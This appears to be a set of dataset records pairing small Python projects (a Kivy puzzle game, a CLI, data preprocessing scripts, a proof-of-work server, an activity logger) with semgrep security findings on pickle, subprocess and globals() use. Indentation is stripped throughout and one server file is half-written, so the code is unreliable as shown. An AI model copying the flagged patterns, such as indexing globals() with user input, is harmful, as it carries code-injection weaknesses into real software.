def toggle(self, light):
id_ = int(light.id)
self.parent.parent.parent.unsched()
if self.toggled_last == light.id:
self.moves.dec()
self.toggled_last = None
else:
self.moves.inc()
self.toggled_last = light.id
self.game.flip(id_)
self.game.ones += 1 if self.game.config[id_] else -1
if id_ > 4: self.flip(id_ - 5)
if id_ < 20: self.flip(id_ + 5)
if id_ % 5 > 0: self.flip(id_ - 1)
if id_ % 5 < 4: self.flip(id_ + 1)
self.check_if_completed()
def flip(self, id_):
self.lights[id_].flip()
self.game.flip(id_)
self.game.ones += 1 if self.game.config[id_] else -1
def check_if_completed(self):
if self.game.ones == 0:
self.timer.stop(self.scheduled)
self.manager.new_scores.append((self.player_name, self.moves.count, self.timer.text[6:]))
with open(os.path.join("data", "scores.p"), "ab") as scores:
pickle.dump((self.player_name, self.moves.count, self.timer.text[6:]), scores)
options = GridLayout(cols=3)
options.add_widget(Button(text="New game", font_size=20, on_press=self.new_game))
options.add_widget(Button(text="Exit", font_size=20, on_press=self.end))
options.add_widget(Button(text="Back to menu", font_size=20, on_press=self.back))
self.popup = Popup(title="Congratulations!",
title_size="22",
title_align="center",
content=options,
size_hint=(None, None),
size=(480, 116),
auto_dismiss=False)
self.popup.open()
def new_game(self, btn):
self.load()
self.scheduled = self.timer.start()
self.popup.dismiss()
def end(self, btn):
App.get_running_app().stop()
def back(self, btn):
self.popup.dismiss()
self.manager.transition.direction = "right"
self.manager.current = "menu"
def load(self):
self.game.load()
self.timer.reset()
self.moves.reset()
for btn in self.lights:
btn.initialize(self.game.config[int(btn.id)])
def destroy(self):
for light in self.lights:
light.initialize(0)
def solve(self):
def add(x):
if x in moves:
moves.remove(x)
else:
moves.append(x)
grid = self.game.config[:]
moves = []
while sum(grid):
for i in range(20):
if grid[i]:
add(i+5)
grid[i] = 0
grid[i + 5] = 0 if grid[i + 5] else 1
if i < 15:
grid[i + 10] = 0 if grid[i + 10] else 1
if i % 5 > 0:
grid[i + 4] = 0 if grid[i + 4] else 1
if i % 5 < 4:
grid[i + 6] = 0 if grid[i + 6] else 1
break
else:
if grid[20]:
if grid[21]:
if grid[22]:
add(1)
grid[:3] = (1,) * 3
grid[6] = 1
else:
add(2)
grid[1:4] = (1,) * 3
grid[7] = 1
elif grid[22]:
add(4)
grid[3] = grid[4] = grid[9] = 1
else:
add(0)
add(1)
grid[2] = grid[5] = grid[6] = 1
elif grid[21]:
if grid[22]:
add(0)
grid[0] = grid[1] = grid[5] = 1
else:
add(0)
add(3)
grid[:6] = (1,) * 6
grid[8] = 1
else:
add(3)
grid[2:5] = (1,) * 3
grid[8] = 1
return moves
def next_move(self):
moves = self.solve()
return Blinking(self.lights[moves[0]], Clock.schedule_interval(self.lights[moves[0]].blink, 0.5))
class GameScreen(Screen):
def __init__(self, **kwargs):
super(GameScreen, self).__init__(**kwargs)
self.blinking = None
self.pressed = False
self.game = GameGrid(size_hint_min_y=620)
header = BoxLayout(orientation="horizontal")
header.add_widget(self.game.timer)
header.add_widget(self.game.moves)
box = BoxLayout(orientation="vertical")
box.add_widget(header)
box.add_widget(self.game)
footer = BoxLayout(orientation="horizontal", size_hint_max_y=40)
footer.add_widget(Button(text="Hint", on_press=self.hint))
footer.add_widget(Button(text="Restart", on_press=self.restart))
footer.add_widget(Button(text="Back to menu", on_press=self.back))
layout = BoxLayout(orientation="vertical")
layout.add_widget(box)
layout.add_widget(footer)
self.add_widget(layout)
def on_pre_enter(self):
self.game.load()
def on_enter(self):
self.game.scheduled = self.game.timer.start()
def on_leave(self):
self.game.destroy()
self.game.timer.stop(self.game.scheduled)
self.game.timer.reset()
if self.blinking:
self.unsched()
def back(self, btn):
self.parent.transition.direction = "right"
self.parent.current = "menu"
def hint(self, btn):
if self.blinking is None:
self.blinking = self.game.next_move()
def unsched(self):
if self.blinking is not None:
Clock.unschedule(self.blinking.scheduled)
self.blinking.button.restore()
self.blinking = None
def restart(self, btn):
self.game.timer.stop(self.game.scheduled)
self.game.load()
if self.blinking:
self.unsched()
self.game.scheduled = self.game.timer.start()
| 361 | 28.76 | 105 | 22 | 2,647 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_f5beac4c9043f97c_8ff94341", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 199, "line_end": 199, "column_start": 17, "column_end": 95, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/f5beac4c9043f97c.py", "start": {"line": 199, "col": 17, "offset": 5473}, "end": {"line": 199, "col": 95, "offset": 5551}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
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2024-11-18T18:39:32.579146+00:00 | 1,522,797,805,000 | e3794c362fd1b979a606306d61f1637f3bd25acf | 2 | {
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} | 2.34375 | stackv2 | #! /usr/bin/env python3
"""Do API management CLI."""
import sys
import os
from subprocess import run
import click
from helpers import load_settings
from helpers.db import apply_migrations, create_migrations
from helpers.shell import success
os.environ.setdefault('SETTINGS_MODULE', 'settings')
settings = load_settings()
database = settings.DATABASE_BACKEND
OK = click.style('OK', fg='green')
GUNICORN = ['gunicorn', '--reload', 'wsgi']
@click.group()
def cli():
"""Main entry point."""
@cli.command()
def start():
"""Start the server."""
run(GUNICORN)
@cli.command()
@click.argument('message')
def makemigrations(message: str):
"""Generate migrations with Alembic."""
if create_migrations(message):
click.echo(OK)
else:
sys.exit(1)
@cli.command()
def createdb():
"""Create a database and apply migrations on it."""
if database.exists():
raise click.UsageError(
click.style('Database already exists at {}.'
.format(database.url), fg='red')
)
else:
database.create()
click.echo(OK)
@cli.command()
def dropdb():
"""Drop the database."""
message = 'This will permanently drop the database. Continue?'
if click.confirm(message, abort=True):
database.drop()
click.echo(OK)
@cli.command()
def migrate():
"""Run migrations using `alembic upgrade head`."""
if apply_migrations():
click.echo(OK)
else:
sys.exit(1)
@cli.command()
@click.option('--verbose', '-v', is_flag=True, help='Turn verbosity up')
def test(verbose):
"""Run the tests."""
verbose_opts = verbose and ['-v'] or []
if success(['python', '-m', 'pytest', *verbose_opts]):
click.secho('Tests passed! 🎉', fg='green')
else:
sys.exit(1)
if __name__ == '__main__':
cli()
| 86 | 20.57 | 72 | 15 | 430 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_0f010fb62a05822c_e5ed9dde", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 30, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmpb8jm_z1l/0f010fb62a05822c.py", "start": {"line": 30, "col": 5, "offset": 560}, "end": {"line": 30, "col": 18, "offset": 573}, "extra": {"message": "Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
30
] | [
30
] | [
5
] | [
18
] | [
"A01:2017 - Injection"
] | [
"Detected subprocess function 'run' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | cli.py | /do/cli.py | florimondmanca/do-api | MIT | |
2024-11-18T18:39:33.189772+00:00 | 1,546,025,066,000 | 5aea711dc1ef824fba3fe3c822ee26496be14036 | 3 | {
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} | 2.78125 | stackv2 | import argparse
from collections import defaultdict as dd
import cPickle
import numpy as np
import os
from scipy import sparse as sp
def add_arguments():
parser = argparse.ArgumentParser()
# General settings
parser.add_argument('--x', help = 'train features filename' , type = str)
parser.add_argument('--tx', help = 'test features filename' , type = str)
parser.add_argument('--y', help = 'train labels filename' , type = str)
parser.add_argument('--ty', help = 'test labels filename' , type = str)
parser.add_argument('--graph', help = 'graph filename' , type = str)
parser.add_argument('--out_dir', help = 'dir where output files will be stored' , type = str)
parser.add_argument('--dim', help = 'feature dimension' , type = int)
parser.add_argument('--c', help = 'num classes' , type = int)
return parser
def read_graph(path_to_grpah):
graph_dict = dd(list)
with open(path_to_grpah, "r") as graph_file:
for line in graph_file:
split_line = line.split('\t')
if (len(split_line) != 2):
print "Problematic line:", line
continue
src = int(split_line[0])
dst = int(split_line[1])
graph_dict[src].append(dst)
graph_dict[dst].append(src)
for node_id in graph_dict:
graph_dict[node_id] = list(set(graph_dict[node_id]))
return graph_dict
def read_labels(path_to_labels, num_classes):
node_to_cluster = {}
with open(path_to_labels) as f_labels:
for line in f_labels:
split_line = line.split('\t')
node_id = int(split_line[0])
cluster = int(split_line[1])
node_to_cluster[node_id] = cluster
max_node_id = max(node_to_cluster.keys())
max_cluster = max(node_to_cluster.values())
assert num_classes >= max_cluster+1
label_matrix = np.zeros((max_node_id+1, num_classes))
for node_id, cluster in node_to_cluster.iteritems():
label_matrix[node_id, cluster] = 1.0
label_matrix = label_matrix.astype(np.int32)
return label_matrix
def read_features(path_to_features, dim):
node_to_features = dd(list)
max_feature_index = 0
with open(path_to_features) as f_features:
for line in f_features:
split_line = line.split('\t')
node_id = int(split_line[0])
for features in split_line[1:]:
split_features = features.split(":")
feature_index = int(split_features[0])
feature_value = float(split_features[1])
max_feature_index = max(max_feature_index, feature_index)
feature_details = (feature_index, feature_value)
node_to_features[node_id].append(feature_details)
max_node_id = max(node_to_features.keys())
assert dim >= max_feature_index
feature_matrix = np.zeros((max_node_id+1, dim))
for node_id in node_to_features:
for feature_detail in node_to_features[node_id]:
(feature_index, feature_value) = feature_detail
feature_matrix[node_id, feature_index] = feature_value
feature_matrix = sp.csr_matrix(feature_matrix, dtype = np.float32)
return feature_matrix
def main():
parser = add_arguments()
args = parser.parse_args()
graph_dict = read_graph(args.graph)
out_graph = os.path.join(args.out_dir, "graph")
cPickle.dump(graph_dict, open(out_graph, "w"))
x = read_features(args.x, args.dim)
out_x = os.path.join(args.out_dir, "x")
cPickle.dump(x, open(out_x, "w"))
tx = read_features(args.tx, args.dim)
out_tx = os.path.join(args.out_dir, "tx")
cPickle.dump(tx, open(out_tx, "w"))
y = read_labels(args.y, args.c)
out_y = os.path.join(args.out_dir, "y")
cPickle.dump(y, open(out_y, "w"))
ty = read_labels(args.ty, args.c)
out_ty = os.path.join(args.out_dir, "ty")
cPickle.dump(ty, open(out_ty, "w"))
if __name__ == '__main__':
main()
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} | 2.890625 | stackv2 | import socket, select
import os
import hashlib
import configparser
RECV_BUFFER = 16 # Length of suffix
def _trailing_zero_count(some_bytes):
"""Dumb trailing zero bit counting."""
bit_str = bin(int(some_bytes.hex(), 16))
return len(bit_str) - len(bit_str.rstrip('0'))
#Function to broadcast chat messages to all connected clients
def broadcast_data (message):
#Do not send the message to master socket and the client who has send us the message
for socket in CONNECTION_LIST:
if socket != server_socket:
try :
socket.send(message)
except :
# broken socket connection may be, chat client pressed ctrl+c for example
socket.close()
CONNECTION_LIST.remove(socket)
class UDPServer:
def __init__(self, host, port, groups, people):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server
def __enter__(self):
print("ENTER")
pass
def __exit__(self):
print("EXIT")
pass
if __name__ == "__main__":
print("Proof of work competition!")
try:
config = configparser.ConfigParser()
config.sections()
config.read("config.cfg")
rounds = config["Competition"].getint("rounds")
groups = config["Competition"].getint("groups")
people = config["Competition"].getint("people")
bits = config["Challenge"].getint("bits")
protocol = config["Networking"]["protocol"]
host = config["Networking"]["host"]
port = config["Networking"]["port"]
except:
print("Unable to load config file")
print("Falling back on defaults")
groups = 2
people = 1
rounds = 32
bits = 27
protocol = "UDP"
host = "0.0.0.0"
port = 8888
print("Networking details:")
print("\tProtocol:", protocol)
print("\tHost:", host)
print("\tPort:", port)
print("Competition details:")
print("\tRounds:", rounds)
print("\tGroups:", groups)
print("\tPeople:", people)
print("Challenge details:")
print("\tType: Trailing zero hashing")
print("\tBits:", bits)
if protocol == "UDP":
Server = UDPServer
elif protocol == "TCP":
Server = TCPServer
else:
print("Unrecognized protocol")
with Server(host, port, groups*people) as server:
print("With server object")
for round_number in range(1, rounds+1):
print("ROUND", round_number)
class TCPServer:
def __init__(self, host, port, competitors):
# List to keep track of socket descriptors
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((host, port))
server_socket.listen(competitors)
self.connection_list = [server_socket]
if False:#__name__ == "__main__":
# Add server socket to the list of readable connections
print("Competition server started on port " + str(PORT))
while True:
if len(CONNECTION_LIST) - 1 == AMOUNT_OF_COMPETITORS:
print("Got {} participants!".format(AMOUNT_OF_COMPETITORS))
break
else:
print("We have {} participants so far".format(len(CONNECTION_LIST) - 1))
# Get the list sockets which are ready to be read through select
read_sockets, write_sockets, error_sockets = select.select(CONNECTION_LIST,[],[])
for sock in read_sockets:
#New connection
if sock == server_socket:
# Handle the case in which there is a new connection recieved through server_socket
sockfd, addr = server_socket.accept()
CONNECTION_LIST.append(sockfd)
print("Competitor {} connected".format(addr))
print("Let the games begin!")
prefix = os.urandom(16)
challenge_message = prefix + bytes([ZERO_BITS])
print("")
print("The challenge is to find {} for:".format(ZERO_BITS))
print("\t{}".format(prefix))
print("")
broadcast_data(challenge_message)
success = False
while not success:
# Get the list sockets which are ready to be read through select
read_sockets, write_sockets, error_sockets = select.select(CONNECTION_LIST,[],[])
for sock in read_sockets:
addr = sock.getpeername()
#New connection
if sock == server_socket:
pass # Ignore connections
#Some incoming message from a client
else:
# Data recieved from client, process it
try:
#In Windows, sometimes when a TCP program closes abruptly,
# a "Connection reset by peer" exception will be thrown
suffix = sock.recv(RECV_BUFFER)
except:
print("Error for {}! Closing connection".format(addr))
sock.close()
CONNECTION_LIST.remove(sock)
continue
# Check if challenge completed
digest = hashlib.sha256(prefix + suffix).digest()
bin_repr = tuple(map(lambda x: bin(x)[2:].zfill(8), digest))
count = _trailing_zero_count(digest)
success = count >= ZERO_BITS
print("Got suffix:")
print("\t", suffix)
print("from {} which gives hash".format(addr))
print("\t...")
slice_index = -((count//8)+1) if count < 249 else 0
for chomp in bin_repr[slice_index:]:
print("\t{}".format(chomp))
if success:
print("WINNER! {} with {} zero bits!".format(addr, count))
print("Game over")
else:
print("which has {} zero bits...".format(count))
print("WRONG {}! Closing connection".format(addr))
sock.close()
CONNECTION_LIST.remove(sock)
if success:
break
server_socket.close() # Eh...
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] | Server.py | /pow_server/pow_server/Server.py | fanjiamin1/cryptocurrencies | MIT | |
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} | 2.890625 | stackv2 | """データの読み込み＆前処理。"""
import pathlib
import pandas as pd
import pytoolkit as tk
TRAIN_FILE = pathlib.Path('data/train.csv')
TEST_FILE = pathlib.Path('data/test.csv')
@tk.log.trace()
def load_data():
"""データの読み込み＆前処理。"""
df_train = pd.read_csv(TRAIN_FILE).sort_values('PassengerId')
df_test = pd.read_csv(TEST_FILE).sort_values('PassengerId')
df_train['IsTrain'] = True
df_train['IsTest'] = False
df_test['IsTrain'] = False
df_test['IsTest'] = True
logger = tk.log.get()
logger.info('train = {}, test = {}'.format(len(df_train), len(df_test)))
# trainとtestをいったんくっつけてから特徴を作る
df = pd.concat([df_train, df_test], ignore_index=True)
# PassengerId, Survived, Pclass, Name, Sex, Age, SibSp, Parch, Ticket, Fare, Cabin, Embarked
df['Sex'] = df['Sex'].map({'female': 0, 'male': 1}).astype(int)
# https://www.kaggle.com/nicapotato/titanic-feature-engineering
df['FamilySize'] = df['SibSp'] + df['Parch'] + 1
df['NameLength'] = df['Name'].apply(len)
df['Title'] = 0
df['Title'] = df.Name.str.extract(r'([A-Za-z]+)\.', expand=False) # lets extract the Salutations
df['Title'].replace(['Mlle', 'Mme', 'Ms', 'Dr', 'Major', 'Lady', 'Countess', 'Jonkheer', 'Col',
'Rev', 'Capt', 'Sir', 'Don'],
['Miss', 'Miss', 'Miss', 'Mr', 'Mr', 'Mrs', 'Mrs', 'Other', 'Other',
'Other', 'Mr', 'Mr', 'Mr'], inplace=True)
df['Title_Mr'] = df.Title == 'Mr'
df['Title_Mrs'] = df.Title == 'Mrs'
df['Title_Master'] = df.Title == 'Master'
df['Title_Miss'] = df.Title == 'Miss'
df['Title_Other'] = df.Title == 'Other'
# df['Age'].fillna(df.Age.median(), inplace=True)
age_mr = df.Age[df.IsTest & df.Title_Mr].mean()
age_mrs = df.Age[df.IsTest & df.Title_Mrs].mean()
age_master = df.Age[df.IsTest & df.Title_Master].mean()
age_miss = df.Age[df.IsTest & df.Title_Miss].mean()
age_other = df.Age[df.IsTest & df.Title_Other].mean()
logger.info('Age of Mr: {}'.format(age_mr))
logger.info('Age of Mrs: {}'.format(age_mrs))
logger.info('Age of Master: {}'.format(age_master))
logger.info('Age of Miss: {}'.format(age_miss))
logger.info('Age of Other: {}'.format(age_other))
df.loc[df.Age.isnull() & df.Title_Mr, 'Age'] = age_mr
df.loc[df.Age.isnull() & df.Title_Mrs, 'Age'] = age_mrs
df.loc[df.Age.isnull() & df.Title_Master, 'Age'] = age_master
df.loc[df.Age.isnull() & df.Title_Miss, 'Age'] = age_miss
df.loc[df.Age.isnull() & df.Title_Other, 'Age'] = age_other
df.drop('Title', axis=1, inplace=True)
df['Embarked'] = df['Embarked'].fillna(df['Embarked'].mode().iloc[0])
df['Embarked'] = df['Embarked'].map({'Q': 0, 'S': 1, 'C': 2}).astype(int)
df['Fare'] = df['Fare'].fillna(df_test['Fare'].mean())
# 使わない列の削除
df.drop(['PassengerId', 'Name', 'Ticket', 'Cabin'], axis=1, inplace=True)
logger.debug('df dtypes, describe, head:\n{}\n\n{}\n\n{}'.format(df.dtypes, df.describe(), df.head()))
df_train = df.loc[df.IsTrain]
df_test = df.loc[df.IsTest]
X_train = df_train.drop(['Survived', 'IsTrain', 'IsTest'], axis=1).values.astype(float)
y_train = df_train['Survived'].values.astype(int)
X_test = df_test.drop(['Survived', 'IsTrain', 'IsTest'], axis=1).values.astype(float)
return (X_train, y_train), X_test
| 82 | 40.01 | 106 | 15 | 1,052 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_5419255702bdf8cf_be78d509", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'Title'` in `df` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 38, "column_start": 5, "column_end": 70, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/5419255702bdf8cf.py", "start": {"line": 37, "col": 5, "offset": 1104}, "end": {"line": 38, "col": 70, "offset": 1189}, "extra": {"message": "key `'Title'` in `df` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_5419255702bdf8cf_b096f08a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'Embarked'` in `df` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 67, "line_end": 68, "column_start": 5, "column_end": 78, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/5419255702bdf8cf.py", "start": {"line": 67, "col": 5, "offset": 2700}, "end": {"line": 68, "col": 78, "offset": 2847}, "extra": {"message": "key `'Embarked'` in `df` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 2 | true | [
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] | data.py | /data.py | ak110/Kaggle-Titanic | MIT | |
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} | 2.5625 | stackv2 | from peewee import *
from pprint import pprint
from copy import copy
import sys, os, inspect, traceback
import argparse
import inspect
from datetime import datetime
from datetime import time
db = SqliteDatabase('activitylog.db')
################
# Model classes
################
class BaseModel(Model):
is_abstract = BooleanField(default=False)
class Meta:
database = db
class NamedModel(BaseModel):
name = CharField(primary_key=True)
class Person(NamedModel):
first = CharField()
last = CharField()
born = DateField()
class ActivityType(NamedModel):
parent = ForeignKeyField('self', null=True, related_name='children')
class MeasurementType(NamedModel):
parent = ForeignKeyField('self', null=True, related_name='children')
class Location(NamedModel):
address = CharField()
class Entry(BaseModel):
person = ForeignKeyField(Person)
location = ForeignKeyField(Location)
props = CharField(null=True)
class Activity(Entry):
start = DateTimeField()
end = DateTimeField()
activityType = ForeignKeyField(ActivityType)
distance = FloatField(default=0.0)
class Measurement(Entry):
time = DateTimeField()
measurementType = ForeignKeyField(MeasurementType)
value = DecimalField()
############
# Functions
############
def main(argv):
args = parse_args();
if args.list:
ls_model(args.list)
elif (args.list_all):
for table in db.get_tables():
print table.title()
elif (args.add):
switcher = {
'Activity': add_activity,
'Location': add_location
}
try:
func = switcher.get(args.add)
func()
except:
print "Cannot add: %s" % args.add
traceback.print_exc()
else:
script = os.path.basename(__file__)
print "%s: you must specify an option" % script
exit(2)
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("--list", metavar='<model-class>', dest='list',
help='List model objects for the specified class')
parser.add_argument('--list-all', dest='list_all', action='store_true',
help='List all model classes')
parser.add_argument('--add', metavar='<model-class>', dest='add',
help='Add an instance of the specified class')
return parser.parse_args()
def input_model(model_str):
clazz = globals()[model_str]
instance = clazz.select().where(clazz.is_abstract == False).order_by(clazz.name)[0]
while True:
uinput = raw_input("%s name [%s]: " % (model_str, instance.name))
if uinput == 'help':
print "\nAvailable %ss:" % model_str
ls_model(model_str)
print
else:
try:
if uinput == '':
uinput = instance.name
clazz = globals()[model_str]
return clazz.get(clazz.name == uinput)
except DoesNotExist:
print "No such %s: %s" % (model_str,uinput)
def input_date():
default = datetime.today().strftime("%Y-%m-%d")
while True:
uinput = raw_input("date [%s]: " % default)
if uinput == 'help':
print "\nFormat: yyyy-mm-dd"
print
else:
if uinput == '':
uinput = default
try:
return datetime.strptime(uinput, "%Y-%m-%d")
except ValueError:
print "Invalid date: %s" % uinput
def input_time(adate, prompt):
while True:
uinput = raw_input(prompt)
if uinput == 'help':
print "\nFormat: HH:MM"
print
try:
t = datetime.strptime(uinput, "%H:%M")
return datetime.combine(adate, time(t.hour, t.minute))
except ValueError:
print "Invalidtime: %s" % uinput
def input_float(prompt):
while True:
uinput = raw_input("%s: " % prompt)
if (uinput == ""):
return 0
else:
try:
return float(uinput)
except:
print "Not a valid float: %s" % uinput
def input_string(prompt, help_text):
while True:
uinput = raw_input("%s: " % prompt)
if uinput == "help":
print help_text
elif uinput != "":
return str(uinput)
def input_yn(prompt):
while True:
uinput = raw_input(prompt)
if (uinput == 'y' or uinput == 'Y'):
return True
elif (uinput == 'n' or uinput == 'N'):
return False
def add_location():
print "Creating new Location [also try 'help'] ..."
nm = input_string("name", "name is a unique identifier")
addr = input_string("address", "Example: 123 Main St, City, State 12345")
print "\nCreated Location: {name: %s, address: %s}" % (nm, addr)
save = input_yn("\nSave Location (y/n)? ")
if save == True:
Location.create(name=nm, address=addr)
print "Saved"
else:
print "Not saved"
def add_activity():
activity = Activity()
print "Creating new Activity [also try 'help'] ..."
activity.activityType = input_model("ActivityType")
adate = input_date()
activity.start = input_time(adate, "start time: ")
activity.end = input_time(adate, "end time: ")
activity.person = input_model("Person")
activity.location = input_model("Location")
activity.distance = input_float("distance")
print "\nCreated Activity:"
ls_instance(activity)
save = input_yn("\nSave Activity (y/n)? ")
if save == True:
activity.save()
print "Saved"
else:
print "Not saved"
def ls_model(clazzStr):
clazz = globals()[clazzStr]
for item in clazz.select():
if item.is_abstract == False:
ls_instance(item)
def ls_instance(instance):
attrs = copy(vars(instance)['_data'])
del(attrs['is_abstract'])
pprint(attrs)
if __name__ == '__main__':
main(sys.argv[1:])
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If it is a function, you may have meant item.is_abstract() because item.is_abstract is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 211, "line_end": 211, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 211, "col": 12, "offset": 5834}, "end": {"line": 211, "col": 28, "offset": 5850}, "extra": {"message": "Is \"is_abstract\" a function or an attribute? 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"CWE-96",
"",
"CWE-96",
"CWE-96",
""
] | [
"rules.python.lang.security.dangerous-globals-use",
"rules.python.lang.maintainability.is-function-without-parentheses",
"rules.python.lang.security.dangerous-globals-use",
"rules.python.lang.security.dangerous-globals-use",
"rules.python.lang.maintainability.is-function-without-parentheses"
] | [
"security",
"maintainability",
"security",
"security",
"maintainability"
] | [
"LOW",
"MEDIUM",
"LOW",
"LOW",
"MEDIUM"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
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108,
209,
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108,
209,
211
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13,
37,
25,
13,
12
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33,
54,
45,
32,
28
] | [
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"",
"A03:2021 - Injection",
"A03:2021 - Injection",
""
] | [
"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.",
"Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant clazz.is_abstract() because cla... | [
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] | [
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"MEDIUM",
"MEDIUM",
""
] | activitylog.py | /activity/activitylog.py | awynne/scripts | MIT | |
2024-11-18T18:39:35.070924+00:00 | 1,644,080,793,000 | 11ba08c4e8547496f13577188db24abec2866624 | 3 | {
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"visit_date": "2022-02-07T03:36:50.362436"
} | 2.53125 | stackv2 | #!/usr/bin/env python3
import glob
import os
import re
import subprocess
import sys
def main():
src_dir = os.path.join('glossika_source', 'audio')
